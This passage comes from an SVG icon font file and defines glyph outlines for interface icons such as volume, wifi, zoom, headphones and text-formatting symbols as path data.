q0 52.851 37.4041 90.3549q37.4041 37.5038 90.2549 37.6446h470.016q52.8509 -0.105591 90.255 -37.5845t37.4041 -90.3299l-0.000488281 -0.341553v-426.155l0.000244141 -0.256454q0 -52.851 -37.4041 -90.3548q-37.4041 -37.5039 -90.2548 -37.6447h-470.016
q-52.8509 0.105579 -90.255 37.5845q-37.4041 37.4789 -37.4041 90.3299l0.000456094 0.341583v426.155h3.12258e-06z" />
    <glyph glyph-name="voicemail" unicode="&#xe8ed;" 
d="M608.307 256q-22.21 26.9225 -37.9286 70.6772q-15.7187 43.7547 -15.7187 78.6561q0 97.152 68.7573 165.909t165.909 68.7573t165.909 -68.7573q68.7573 -68.7573 68.7573 -165.909q0 -97.1457 -68.7529 -165.903q-68.7528 -68.7573 -165.898 -68.7637h-554.667
q-97.1457 0.00636292 -165.898 68.7637q-68.7528 68.7573 -68.7528 165.903q0 97.152 68.7573 165.909q68.7573 68.757 165.909 68.7573q97.152 0 165.909 -68.7573q68.7573 -68.7574 68.7573 -165.909q0 -34.9015 -15.7187 -78.6561t-37.9287 -70.6772zM234.675 256
q61.824 0 105.579 43.7547t43.7547 105.579t-43.7547 105.579t-105.579 43.7547t-105.579 -43.7547q-43.7547 -43.7547 -43.7547 -105.579q0 -61.824 43.7547 -105.579q43.7547 -43.7547 105.579 -43.7547zM789.341 256q61.824 0 105.579 43.7546
q43.7546 43.7547 43.7546 105.579t-43.7546 105.579q-43.7546 43.7546 -105.579 43.7546t-105.579 -43.7546q-43.7546 -43.7547 -43.7546 -105.579q0 -61.824 43.7546 -105.579q43.7546 -43.7547 105.579 -43.7546z" />
    <glyph glyph-name="volume-x" unicode="&#xe8ee;" 
d="M442.667 715.947q11.6907 9.36005 26.6667 9.36005q17.653 0 30.1543 -12.4935q12.5013 -12.4935 12.5124 -30.1465v-597.333q-0.0110168 -17.6529 -12.5124 -30.1465q-12.5013 -12.4935 -30.1543 -12.4935q-14.976 0 -26.6667 9.36002l-201.6 161.28h-155.733
q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v256q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h155.733zM282.667 478.72q-11.6854 -9.375 -26.6667 -9.38666h-128v-170.667h128q14.9812 -0.0116577 26.6667 -9.38666l144 -115.2v419.84z
M951.168 542.165l-256 -256q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2404 0 29.6411 11.977l256 256q13.0257 12.5805 13.0257 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.1089 0 -30.6898 -13.0256z
M695.168 481.835l256 -256q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2404 -11.977 29.641l-256 256q-12.4007 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.977 -29.641z" />
    <glyph glyph-name="volume-" unicode="&#xe8ef;" 
d="M528 715.947q11.6907 9.36005 26.6667 9.36005q17.653 0 30.1544 -12.4935q12.5013 -12.4935 12.5123 -30.1465v-597.333q-0.0109863 -17.653 -12.5123 -30.1465t-30.1544 -12.4935q-14.976 0 -26.6666 9.36002l-201.6 161.28h-155.733q-17.664 0 -30.1653 12.5013
t-12.5013 30.1653v256q0 17.664 12.5013 30.1653t30.1653 12.5013h155.733zM368 478.72q-11.6854 -9.375 -26.6667 -9.38666h-128v-170.667h128q14.9812 -0.0116577 26.6667 -9.38666l144 -115.2v419.84zM718.208 504.875q20.6871 -20.6934 35.328 -56.0471
q14.6409 -35.3538 14.6409 -64.6142t-14.6409 -64.6142t-35.328 -56.0471q-13.0256 -12.5806 -13.0256 -30.6896q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q18.1091 0 30.6896 13.0256q31.0308 31.0401 52.9921 84.0707q21.9612 53.0306 21.9612 96.9213
t-21.9613 96.9213q-21.9613 53.0306 -52.992 84.0707q-12.5805 13.0256 -30.6896 13.0256q-17.6639 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653q0 -18.109 13.0256 -30.6898z" />
    <glyph glyph-name="volume-1" unicode="&#xe8f0;" 
d="M442.667 715.947q11.6907 9.36005 26.6667 9.36005q17.653 0 30.1543 -12.4935q12.5013 -12.4935 12.5124 -30.1465v-597.333q-0.0110168 -17.6529 -12.5124 -30.1465q-12.5013 -12.4935 -30.1543 -12.4935q-14.976 0 -26.6667 9.36002l-201.6 161.28h-155.733
q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v256q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h155.733zM282.667 478.72q-11.6854 -9.375 -26.6667 -9.38666h-128v-170.667h128q14.9812 -0.0116577 26.6667 -9.38666l144 -115.2v419.84z
M783.488 655.488q46.546 -46.5601 79.488 -126.106q32.942 -79.546 32.942 -145.382q0 -65.8359 -32.942 -145.382q-32.942 -79.546 -79.488 -126.106q-13.0256 -12.5806 -13.0256 -30.6896q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q18.1091 0 30.6896 13.0256
q90.1147 90.1356 122.14 210.977q32.0258 120.842 0 241.683q-32.0259 120.842 -122.14 210.977q-12.5805 13.0256 -30.6896 13.0256q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -18.109 13.0256 -30.6894zM632.875 504.875q20.6871 -20.6934 35.328 -56.0471
t14.6409 -64.6142q0 -29.2604 -14.6409 -64.6142t-35.328 -56.0471q-13.0256 -12.5806 -13.0256 -30.6897q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q18.109 0 30.6897 13.0257q31.0307 31.0401 52.992 84.0707t21.9613 96.9213t-21.9614 96.9213
q-21.9613 53.0306 -52.9919 84.0707q-12.5806 13.0256 -30.6896 13.0256q-17.6639 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653q0 -18.109 13.0255 -30.6898z" />
    <glyph glyph-name="volume" unicode="&#xe8f1;" 
d="M656 715.947q11.6907 9.36005 26.6667 9.36005q17.653 0 30.1542 -12.4935t12.5124 -30.1465v-597.333q-0.0111084 -17.653 -12.5125 -30.1465t-30.1542 -12.4935q-14.9759 0 -26.6666 9.36002l-201.6 161.28h-155.733q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v256
q0 17.664 12.5013 30.1653t30.1653 12.5013h155.733zM496 478.72q-11.6854 -9.375 -26.6667 -9.38666h-128v-170.667h128q14.9812 -0.0116577 26.6667 -9.38666l144 -115.2v419.84z" />
    <glyph glyph-name="watch" unicode="&#xe8f2;" 
d="M512 42.6672q-92.6716 0 -171.306 45.6959q-78.6346 45.6959 -124.331 124.33q-45.6958 78.6346 -45.6958 171.306t45.6958 171.306t124.331 124.331q78.6347 45.6959 171.306 45.6959q92.6716 0 171.306 -45.6958q78.6346 -45.6959 124.331 -124.331
q45.6959 -78.6346 45.6959 -171.306q0 -92.6716 -45.6959 -171.306q-45.6959 -78.6347 -124.33 -124.331q-78.6346 -45.6959 -171.306 -45.6958zM512 128h0.0159912q105.984 0 180.992 75.0078q75.0078 75.0078 75.0078 180.992t-75.0079 180.992
q-75.0078 75.0078 -180.992 75.0078h-0.0159912q-105.977 -0.00665283 -180.98 -75.0145q-75.0032 -75.0078 -75.0032 -180.985q0 -105.977 75.0032 -180.985q75.0032 -75.0079 180.98 -75.0151zM554.667 512v-110.336l51.4985 -51.4986q11.977 -12.4006 11.977 -29.641
q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-17.2402 0 -29.641 11.977l-63.9999 63.9999q-12.4975 12.4938 -12.5012 30.1653v128q0 17.6639 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653zM661.93 159.616
q1.46722 16.0592 13.9185 27.4247t28.5774 11.3655q17.6666 0 30.1697 -12.5032t12.5032 -30.1698q0 -1.94559 -0.177002 -3.88266l-14.9333 -163.37q-4.34271 -48.2229 -41.683 -82.3516q-37.3403 -34.1287 -85.7584 -34.1287l-0.387756 0.000587463h-184.576
l-0.523224 -0.00106812q-48.4033 0 -85.7538 34.1164q-37.3506 34.1164 -41.7227 82.3218l-14.9333 163.413q-0.177002 1.93716 -0.177002 3.88266q0 17.6666 12.5032 30.1698t30.1697 12.5032q16.1261 0 28.5774 -11.3655t13.9185 -27.4247l14.9333 -163.456
q1.50522 -16.5572 13.8099 -27.7239q12.3047 -11.1667 29.0273 -11.1027h184.917l0.169312 -0.000335693q16.1561 0 28.6078 11.3888t13.8894 27.4808zM362.07 608.383q-1.46725 -16.0593 -13.9185 -27.4248q-12.4513 -11.3655 -28.5774 -11.3655
q-17.6666 0 -30.1697 12.5032t-12.5032 30.1697q0 1.94562 0.177002 3.88269l14.9333 163.37q4.35504 48.1932 41.6839 82.3218q37.3289 34.1287 85.7185 34.158h185.429l0.523193 0.00109863q48.4032 0 85.7538 -34.1164q37.3506 -34.1165 41.7227 -82.3218
l14.9333 -163.413q0.177002 -1.93677 0.177002 -3.88263q0 -17.6666 -12.5032 -30.1697t-30.1697 -12.5032q-16.1261 0 -28.5774 11.3655t-13.9185 27.4247l-14.9333 163.456q-1.46704 16.0747 -13.929 27.4511q-12.462 11.3765 -28.6035 11.3765l-0.30481 -0.0010376
h-185.6q-16.123 -0.0327148 -28.5494 -11.4214q-12.4263 -11.3887 -13.8612 -27.4478z" />
    <glyph glyph-name="wifi" unicode="&#xe8f3;" 
d="M240.64 327.765q49.1211 40.9142 129.13 69.8705q80.0085 28.9562 143.937 28.9562t143.937 -28.9562q80.0085 -28.9562 129.13 -69.8705q11.6492 -9.2431 26.52 -9.2431q17.6639 0 30.1653 12.5013t12.5013 30.1653q0 19.363 -14.5733 32.1125
q-58.9453 49.0972 -154.956 83.8446q-96.0102 34.7474 -172.724 34.7474q-76.7142 0 -172.724 -34.7474q-96.0102 -34.7475 -154.956 -83.8446q-16.1467 -12.8116 -16.1467 -33.4236q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q16.0292 0 28.0928 10.5542zM88.4053 480
q75.1151 66.2622 199.166 113.158q124.051 46.8958 224.215 46.8958q100.165 0 224.216 -46.8958q124.051 -46.8958 199.166 -113.158q12.1027 -10.6825 28.2454 -10.6825q17.6705 0 30.1765 12.506t12.506 30.1765q0 19.2568 -14.4372 32
q-135.205 119.259 -307.539 161.252q-172.333 41.9923 -344.667 -6.10352e-05q-172.333 -41.9924 -307.539 -161.252q-14.4372 -12.7432 -14.4372 -32q0 -17.6706 12.506 -30.1765q12.506 -12.506 30.1766 -12.506q16.1428 0 28.2459 10.6825zM388.224 173.867
q22.9733 16.3228 59.1771 27.8749q36.2039 11.5522 64.3855 11.5522q28.1817 0 64.3856 -11.5521t59.1771 -27.875q10.8285 -7.3223 23.9002 -7.3223q17.664 0 30.1653 12.5013t12.5013 30.1653q0 21.4053 -17.1589 34.2023q-32.1603 22.847 -82.8407 39.0164
t-90.13 16.1694t-90.13 -16.1694q-50.6804 -16.1694 -82.8407 -39.0164q-17.1589 -12.7969 -17.1589 -34.2023q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q13.0718 0 23.9005 7.32231zM512 42.6667zM469.333 42.6667q0 -17.664 12.5013 -30.1653
q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013q12.5013 12.5013 12.5013 30.1653q0 17.664 -12.5013 30.1653q-12.5013 12.5013 -30.1654 12.5013q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5012 -30.1653z" />
    <glyph glyph-name="x-square" unicode="&#xe8f4;" 
d="M170.667 682.88v-597.76q0 -17.6 12.4267 -30.0267t30.0267 -12.4267h597.76q17.6 0 30.0267 12.4267q12.4266 12.4267 12.4266 30.0267v597.76q0 17.5756 -12.4388 30.0145t-30.0145 12.4388h-597.76q-17.5757 0 -30.0145 -12.4388t-12.4389 -30.0145zM85.3333 682.88
q0 52.9037 37.4415 90.3452t90.3452 37.4415h597.76q52.9037 0 90.3452 -37.4415t37.4415 -90.3452v-597.76v0q0 -52.9037 -37.4415 -90.3452t-90.3452 -37.4415h-597.76q-52.9037 3.8147e-06 -90.3452 37.4415t-37.4415 90.3452zM353.835 481.835l256 -256
q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-256 256q-12.4007 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.9771 -29.641zM609.835 542.165l-256 -256
q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2402 0 29.641 11.977l256 256q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.109 0 -30.6896 -13.0256z" />
    <glyph glyph-name="wind" unicode="&#xe8f5;" 
d="M439.467 670.08q12.5118 12.5858 30.2587 12.5858q17.664 0 30.1653 -12.5013t12.5013 -30.1653t-12.5013 -30.1653t-30.1653 -12.5013l-0.264038 0.000793457h-384.128h-0.00653076q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653t12.5013 -30.1653
q12.5013 -12.5013 30.1653 -12.5013h0.00653076h384l0.528503 -0.00109863q52.9744 0 90.4659 37.4915q37.4915 37.4915 37.4915 90.4659q0 30.6512 -18.8068 63.155q-18.8068 32.5038 -45.3804 47.7794q-29.6764 17.109 -63.9311 17.109q-22.0423 0 -48.6404 -11.0636
q-26.598 -11.0635 -42.1378 -26.6961q-11.9001 -12.3854 -11.9001 -29.5612q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.3163 0 29.7348 12.0679zM506.88 37.76q15.5399 -15.6323 42.1378 -26.6958t48.64 -11.0635q52.9921 0 90.496 37.504
q37.5038 37.504 37.504 90.496t-37.504 90.496q-37.504 37.504 -90.496 37.504l-0.452454 -0.000793457h-511.872q-17.6613 -0.00271606 -30.1607 -12.504q-12.4994 -12.5013 -12.4994 -30.1626t12.4994 -30.1626t30.1607 -12.504h512l0.181519 0.00038147
q17.6816 0 30.1955 -12.5138q12.5138 -12.5138 12.5138 -30.1955q0 -10.1644 -6.21631 -20.9782t-14.9998 -15.9289q-9.89893 -5.7134 -21.3284 -5.7134q-17.7443 0 -30.2556 12.5827q-12.592 13.1055 -30.7665 13.1055q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653
q0 -18.0321 12.9319 -30.5988zM786.603 535.979q18.7354 18.6879 45.1974 18.6879q26.496 0 45.248 -18.752t18.752 -45.248q0 -26.4486 -18.7184 -45.2006q-18.7185 -18.752 -45.167 -18.7993h-746.581q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653
t12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h746.667q61.7488 0.0751038 105.45 43.8298q43.7014 43.7546 43.7014 105.503q0 61.824 -43.7546 105.579q-43.7547 43.7546 -105.579 43.7546q-25.5625 0 -56.4626 -12.7764t-48.9984 -30.8289
q-13.0673 -12.5867 -13.0673 -30.7298q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q18.072 0 30.6459 12.9805z" />
    <glyph glyph-name="x" unicode="&#xe8f6;" 
d="M737.835 670.165l-512 -512q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2402 0 29.641 11.977l512 512q13.0256 12.5806 13.0256 30.6896q0 17.6639 -12.5013 30.1653t-30.1653 12.5014q-18.109 0 -30.6896 -13.0256z
M225.835 609.835l512 -512q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-512 512q-12.4008 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.977 -29.6411z" />
    <glyph glyph-name="x-circle" unicode="&#xe8f7;" 
d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694
q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06
q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM609.835 542.165l-256 -256
q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2402 0 29.641 11.977l256 256q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.109 0 -30.6896 -13.0256zM353.835 481.835l256 -256
q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-256 256q-12.4007 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.9771 -29.641z" />
    <glyph glyph-name="zap" unicode="&#xe8f8;" 
d="M128 256q-17.6574 0.0065918 -30.154 12.5079t-12.4966 30.1587q0 15.4417 9.88268 27.3067l426.667 512q15.0868 14.8414 32.7617 15.4896t31.2731 -13.5712t11.0586 -34.5157l-36.6934 -293.376h335.701q17.6575 -0.0065918 30.1541 -12.5079
q12.4966 -12.5013 12.4966 -30.1587q0 -15.4417 -9.88269 -27.3067l-426.667 -512q-15.0868 -14.8414 -32.7617 -15.4896t-31.2731 13.5712q-13.5982 14.2193 -11.0586 34.5158l36.6933 293.376zM219.093 341.333h292.907q17.6589 -0.00497437 30.1567 -12.5063
q12.4979 -12.5013 12.4979 -30.1603q0 -2.65552 -0.329285 -5.29068l-24.6187 -196.949l275.2 330.24h-292.907q-17.659 0.00497437 -30.1568 12.5063t-12.4978 30.1604q0 2.65552 0.329285 5.29068l24.6187 196.949z" />
    <glyph glyph-name="zoom-in" unicode="&#xe8f9;" 
d="M469.333 42.6667q-104.247 0.00901794 -192.703 51.4202q-88.4565 51.4111 -139.86 139.872q-51.4035 88.461 -51.4035 192.708q0 104.256 51.4079 192.72q51.4079 88.4641 139.872 139.872q88.4641 51.4079 192.72 51.408q104.256 0 192.72 -51.4079
q88.4641 -51.408 139.872 -139.872t51.408 -192.72q0 -55.7117 -24.6123 -125.944t-59.3889 -113.757l156.8 -156.8q11.977 -12.4007 11.977 -29.641q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-17.2403 0 -29.6411 11.977l-156.8 156.8
q-43.3876 -34.7629 -113.441 -59.3657q-70.0538 -24.6028 -125.65 -24.6028zM469.333 128h0.0172729q123.648 0 211.157 87.5093t87.5093 211.157q0.000305176 123.648 -87.5093 211.157t-211.157 87.5093h-0.0172729q-123.641 -0.00714111 -211.145 -87.5165
q-87.5043 -87.5093 -87.5043 -211.15t87.5043 -211.15q87.5043 -87.5094 211.145 -87.5161zM426.667 554.667v-256q0.00274658 -17.6613 12.5041 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1627 12.4994q12.5013 12.4994 12.504 30.1607v256
q-0.00268555 17.6613 -12.504 30.1607q-12.5014 12.4995 -30.1626 12.4995q-17.6613 0 -30.1626 -12.4995q-12.5013 -12.4994 -12.5042 -30.1607zM341.333 384h256q17.6613 0.00271606 30.1607 12.5041t12.4995 30.1626t-12.4994 30.1626q-12.4995 12.5014 -30.1608 12.5041
h-256q-17.6613 -0.00265503 -30.1607 -12.504q-12.4994 -12.5014 -12.4994 -30.1627t12.4994 -30.1627t30.1607 -12.504z" />
    <glyph glyph-name="zoom-out" unicode="&#xe8fa;" 
d="M709.035 126.635q-43.5224 -34.7704 -113.75 -59.3784q-70.2271 -24.608 -125.933 -24.608q-104.256 0 -192.72 51.4079q-88.4642 51.4079 -139.872 139.872q-51.4078 88.4641 -51.408 192.72q0 104.256 51.408 192.72q51.408 88.4641 139.872 139.872
q88.4641 51.408 192.72 51.408t192.72 -51.408t139.872 -139.872q51.408 -88.4642 51.408 -192.72q0 -55.7062 -24.608 -125.933q-24.6081 -70.2271 -59.3784 -113.75l156.8 -156.8q11.977 -12.4007 11.977 -29.641q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013
q-17.2403 0 -29.6411 11.977zM469.333 128h0.0172729q123.648 0 211.157 87.5093t87.5093 211.157q0.000305176 123.648 -87.5093 211.157t-211.157 87.5093h-0.0172729q-123.641 -0.00714111 -211.145 -87.5165q-87.5043 -87.5093 -87.5043 -211.15t87.5043 -211.15
q87.5043 -87.5094 211.145 -87.5161zM341.333 384h256q17.6613 0.00271606 30.1607 12.5041t12.4995 30.1626t-12.4994 30.1626q-12.4995 12.5014 -30.1608 12.5041h-256q-17.6613 -0.00265503 -30.1607 -12.504q-12.4994 -12.5014 -12.4994 -30.1627t12.4994 -30.1627
t30.1607 -12.504z" />
    <glyph glyph-name="command" unicode="&#xe8fb;" 
d="M597.333 213.333h-170.667v-85.3333q0 -70.656 -50.0053 -120.661t-120.661 -50.0053q-70.656 0 -120.661 50.0053q-50.0053 50.0053 -50.0053 120.661q0 70.656 50.0053 120.661q50.0053 50.0053 120.661 50.0053h85.3333v170.667h-85.3333v0
q-70.656 0 -120.661 50.0053q-50.005 50.0052 -50.0053 120.661q0 70.656 50.0053 120.661q50.0053 50.0053 120.661 50.0053q70.6557 0 120.661 -50.0054q50.0053 -50.0053 50.0053 -120.661v-85.3333h170.667v85.3333q0 70.6561 50.0053 120.661t120.661 50.0053
q70.656 0 120.661 -50.0053t50.0053 -120.661q0 -70.656 -50.0054 -120.661q-50.0053 -50.0053 -120.661 -50.0053h-85.3333v-170.667h85.3333v0q70.656 0 120.661 -50.0053q50.0053 -50.0053 50.0053 -120.661t-50.0053 -120.661q-50.0054 -50.0053 -120.661 -50.0053
q-70.6561 0 -120.661 50.0053q-50.0049 50.0053 -50.0053 120.661zM426.667 469.333v-170.667h170.667v170.667h-170.667zM341.333 554.667v85.3333q0 35.3281 -25.0027 60.3307q-25.0026 25.0026 -60.3307 25.0026q-35.328 0 -60.3307 -25.0026
q-25.0026 -25.0027 -25.0026 -60.3307t25.0026 -60.3307q25.0027 -25.0026 60.3307 -25.0026h85.3334zM341.333 213.333h-85.3333v0q-35.328 0 -60.3307 -25.0027t-25.0027 -60.3307t25.0027 -60.3307t60.3307 -25.0027q35.328 0 60.3307 25.0027
q25.0027 25.0027 25.0027 60.3307zM682.667 128q0 -35.328 25.0026 -60.3307q25.0027 -25.0027 60.3307 -25.0027t60.3307 25.0027t25.0027 60.3307t-25.0027 60.3307t-60.3307 25.0027h-85.3333v-85.3334zM768 554.667q35.3281 0 60.3307 25.0026t25.0026 60.3307
q0 35.328 -25.0026 60.3307q-25.0027 25.0027 -60.3307 25.0027t-60.3307 -25.0027q-25.0026 -25.0027 -25.0026 -60.3307v-85.3333h85.3333z" />
    <glyph glyph-name="cloud" unicode="&#xe8fc;" horiz-adv-x="1044" 
d="M768.19 512h0.0159912q105.949 0 180.932 -74.983q74.983 -74.983 74.983 -180.932t-74.983 -180.932q-74.983 -74.983 -180.932 -74.983l-0.0159912 4.91738e-07h-383.872l-0.378265 -0.000186354q-104.233 0 -192.677 51.3965t-139.841 139.841
q-51.3965 88.4445 -51.3965 192.677q0 104.233 51.3965 192.677q51.3965 88.4445 139.841 139.841q88.4445 51.3965 192.677 51.3965q112.407 0 218.466 -75.0079q106.06 -75.0079 143.512 -180.992h22.1866zM768.19 426.709h-53.76q-13.679 0.00335693 -25.7803 9.37936
q-12.1014 9.37598 -15.5211 22.6206q-23.9426 92.7006 -108.647 158.308t-180.447 65.607q-123.613 0 -211.097 -87.4844q-87.4843 -87.4843 -87.4843 -211.097t87.4843 -211.097t211.097 -87.4843l0.241272 9.91821e-05h383.915q70.6382 0 120.631 49.9928
q49.9929 49.9929 49.9929 120.631t-49.9928 120.631q-49.9929 49.9928 -120.632 49.9928z" />
    <glyph glyph-name="hash" unicode="&#xe8fd;" 
d="M170.667 469.333h682.667q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-682.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013zM170.667 213.333h682.667
q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-682.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013zM384.256 772.693l-85.3333 -768
q-0.258911 -2.33969 -0.258911 -4.69333q0 -17.6652 12.5022 -30.1674q12.5022 -12.5022 30.1674 -12.5022q15.8181 0 28.2444 11.127q12.4263 11.127 14.1662 26.8492l85.3333 768q0.258911 2.33966 0.258911 4.69336q0 17.6652 -12.5022 30.1674t-30.1674 12.5022
q-15.8182 0 -28.2445 -11.127t-14.1661 -26.8492zM640.256 772.693l-85.3333 -768q-0.258911 -2.33936 -0.258911 -4.69333q0 -17.6652 12.5021 -30.1674q12.5022 -12.5022 30.1674 -12.5022q15.8181 0 28.2444 11.1271q12.4264 11.1271 14.1663 26.8492l85.3333 768
q0.258911 2.33917 0.258911 4.69336q0 17.6652 -12.5022 30.1674t-30.1674 12.5022q-15.8182 0 -28.2445 -11.127q-12.4263 -11.1271 -14.1661 -26.8493z" />
    <glyph glyph-name="headphones" unicode="&#xe8fe;" 
d="M85.3333 213.333v170.667q0 115.907 57.0941 214.193q57.0941 98.2858 155.38 155.38q98.2857 57.0941 214.193 57.0941q115.907 0 214.193 -57.0941q98.2858 -57.0941 155.38 -155.38q57.0941 -98.2857 57.0941 -214.193v-298.667q0 -52.992 -37.504 -90.496
q-37.504 -37.504 -90.496 -37.504h-42.6667q-52.9919 0 -90.496 37.504q-37.5041 37.504 -37.504 90.496v128q0 52.992 37.504 90.496t90.496 37.504h85.3333v42.6667q0 92.6718 -45.696 171.307q-45.6959 78.6348 -124.331 124.331q-78.6348 45.6959 -171.307 45.6959
q-92.6718 0 -171.307 -45.6959q-78.6348 -45.6959 -124.331 -124.331q-45.696 -78.6349 -45.696 -171.307v-42.6667h85.3333q52.992 0 90.496 -37.504t37.504 -90.496v-128q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-42.6666q-52.992 0 -90.496 37.504
q-37.504 37.504 -37.504 90.496zM853.333 256h-85.3333q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-128q0 -17.664 12.5013 -30.1653t30.1653 -12.5013h42.6667q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653zM170.667 256v-170.667
q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h42.6667v0q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v128q0 17.664 -12.5013 30.1653t-30.1654 12.5013z" />
    <glyph glyph-name="underline" unicode="&#xe8ff;" 
d="M213.333 768q0 17.664 12.5013 30.1653t30.1653 12.5013q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-298.667q0 -88.32 62.5067 -150.827q62.5067 -62.5067 150.827 -62.5067q88.3201 0 150.827 62.5067q62.5067 62.5067 62.5067 150.827v298.667
q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5014q12.5013 -12.5013 12.5013 -30.1653v-298.667q0 -123.648 -87.5093 -211.157q-87.5093 -87.5093 -211.157 -87.5093q-123.648 0 -211.157 87.5093q-87.5093 87.5093 -87.5093 211.157zM170.667 -42.6667
q-17.664 0 -30.1653 12.5013t-12.5013 30.1653t12.5013 30.1653t30.1653 12.5013h682.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653t-12.5013 -30.1653q-12.5014 -12.5013 -30.1653 -12.5013h-682.667z" />
    <glyph glyph-name="italic" unicode="&#xe900;" 
d="M669.568 682.667h141.099q17.6613 0.00280762 30.1607 12.5041q12.4995 12.5013 12.4995 30.1626t-12.4995 30.1626t-30.1607 12.504h-384h-0.00653076q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.6641 12.5013 -30.1653t30.1653 -12.5013h0.00653076h151.765
l-224 -597.333h-141.099q-17.6613 -0.00270081 -30.1607 -12.504q-12.4994 -12.5013 -12.4994 -30.1626t12.4994 -30.1626q12.4994 -12.5013 30.1607 -12.504h384q17.6613 0.00270382 30.1607 12.504q12.4995 12.5013 12.4995 30.1626q0 17.6613 -12.4995 30.1626
q-12.4994 12.5013 -30.1607 12.504h-151.765z" />
    <glyph glyph-name="bold" unicode="&#xe901;" 
d="M743.936 399.701q45.3396 -25.2567 77.4277 -79.8625t32.0881 -106.506q0 -88.32 -62.5067 -150.827q-62.5067 -62.5067 -150.827 -62.5067l-0.118469 3.29048e-05h-384q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v682.667q0 17.664 12.5013 30.1653
t30.1653 12.5013h341.333q88.3137 -0.00628662 150.816 -62.5129q62.5021 -62.5067 62.5021 -150.82q0 -38.0234 -19.5475 -83.4282t-47.1671 -71.537zM298.667 682.667v-256h298.667q52.992 0 90.496 37.504q37.504 37.504 37.504 90.496q0 52.9921 -37.504 90.496
t-90.496 37.504h-298.667zM298.667 85.3334h341.333q52.9919 0 90.496 37.504q37.504 37.504 37.504 90.496t-37.504 90.496t-90.496 37.504h-341.333v-256z" />
    <glyph glyph-name="crop" unicode="&#xe902;" 
